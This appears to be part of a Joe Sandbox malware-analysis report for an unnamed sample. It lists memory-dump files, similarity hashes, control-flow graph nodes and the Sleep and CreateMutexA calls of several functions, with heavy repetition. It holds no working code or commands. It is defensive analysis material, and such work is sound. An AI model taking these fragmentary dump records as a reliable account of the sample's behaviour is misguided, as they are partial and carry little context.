                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 265c5b79ae9fcdcfe75feff726057c234c913878acc70f39f53ccc343e5d1edf
                                                                                                                                                                                                                                                                                    • Instruction ID: 394f613da79de2177d9a603ca92b61f2b925c4c56ddd0ec96b23786c658c6baf
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 265c5b79ae9fcdcfe75feff726057c234c913878acc70f39f53ccc343e5d1edf
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C23126717042089BEB089BB8DCC87FDBBE2EB95310F208659F118DB3D1CB7689808752
                                                                                                                                                                                                                                                                                    Function 00AFA079 Relevance: 3.1, APIs: 2, Instructions: 136sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 275 afa079-afa099 279 afa09b-afa0a7 275->279 280 afa0c7-afa0e3 275->280 281 afa0bd-afa0c4 call b0d663 279->281 282 afa0a9-afa0b7 279->282 283 afa0e5-afa0f1 280->283 284 afa111-afa130 280->284 281->280 282->281 285 afa930-afa994 call b26c6a Sleep CreateMutexA 282->285 287 afa107-afa10e call b0d663 283->287 288 afa0f3-afa101 283->288 289 afa15e-afa916 call b080c0 284->289 290 afa132-afa13e 284->290 305 afa9a7-afa9a8 285->305 306 afa996-afa998 285->306 287->284 288->285 288->287 295 afa154-afa15b call b0d663 290->295 296 afa140-afa14e 290->296 295->289 296->285 296->295 306->305 307 afa99a-afa9a5 306->307 307->305
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064), ref: 00AFA963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 4f7eb632ddb796e1ad8189ccf3a4fb62b1e5c275b10936dc3b1aacf81bbe76ba
                                                                                                                                                                                                                                                                                    • Instruction ID: e651d29b0908c0eac39b59ede462fd4608334d09ea769c27e048f0f7f8c64bb4
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4f7eb632ddb796e1ad8189ccf3a4fb62b1e5c275b10936dc3b1aacf81bbe76ba
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 793128B17042089BEB089BF8DCC97FDBBB6DBA5310F208259F11C973D5CB7659808656
                                                                                                                                                                                                                                                                                    Function 00AFA1AE Relevance: 3.1, APIs: 2, Instructions: 135sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 309 afa1ae-afa1ce 313 afa1fc-afa218 309->313 314 afa1d0-afa1dc 309->314 317 afa21a-afa226 313->317 318 afa246-afa265 313->318 315 afa1de-afa1ec 314->315 316 afa1f2-afa1f9 call b0d663 314->316 315->316 319 afa935 315->319 316->313 321 afa23c-afa243 call b0d663 317->321 322 afa228-afa236 317->322 323 afa267-afa273 318->323 324 afa293-afa916 call b080c0 318->324 327 afa953-afa994 Sleep CreateMutexA 319->327 328 afa935 call b26c6a 319->328 321->318 322->319 322->321 330 afa289-afa290 call b0d663 323->330 331 afa275-afa283 323->331 339 afa9a7-afa9a8 327->339 340 afa996-afa998 327->340 328->327 330->324 331->319 331->330 340->339 341 afa99a-afa9a5 340->341 341->339
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064), ref: 00AFA963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: ba4b4cdcf6c2a2c5fed0dbeafbaddaf0003c2291dd8bef443cc0029d7f1f1922
                                                                                                                                                                                                                                                                                    • Instruction ID: d260fafe86309b3d0b7b6b3eaf9998a870b2af87dd0d490deed823d72a5c43d7
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ba4b4cdcf6c2a2c5fed0dbeafbaddaf0003c2291dd8bef443cc0029d7f1f1922
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C4312AB17042089FEB089BF8DCC97FDB7B6EB96310F204259F118973E1D77649808612
                                                                                                                                                                                                                                                                                    Function 00AFA418 Relevance: 3.1, APIs: 2, Instructions: 133sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 343 afa418-afa438 347 afa43a-afa446 343->347 348 afa466-afa482 343->348 351 afa45c-afa463 call b0d663 347->351 352 afa448-afa456 347->352 349 afa484-afa490 348->349 350 afa4b0-afa4cf 348->350 355 afa4a6-afa4ad call b0d663 349->355 356 afa492-afa4a0 349->356 357 afa4fd-afa916 call b080c0 350->357 358 afa4d1-afa4dd 350->358 351->348 352->351 353 afa93f-afa949 call b26c6a * 2 352->353 374 afa94e 353->374 375 afa949 call b26c6a 353->375 355->350 356->353 356->355 363 afa4df-afa4ed 358->363 364 afa4f3-afa4fa call b0d663 358->364 363->353 363->364 364->357 376 afa953-afa994 Sleep CreateMutexA 374->376 377 afa94e call b26c6a 374->377 375->374 379 afa9a7-afa9a8 376->379 380 afa996-afa998 376->380 377->376 380->379 381 afa99a-afa9a5 380->381 381->379
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064), ref: 00AFA963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
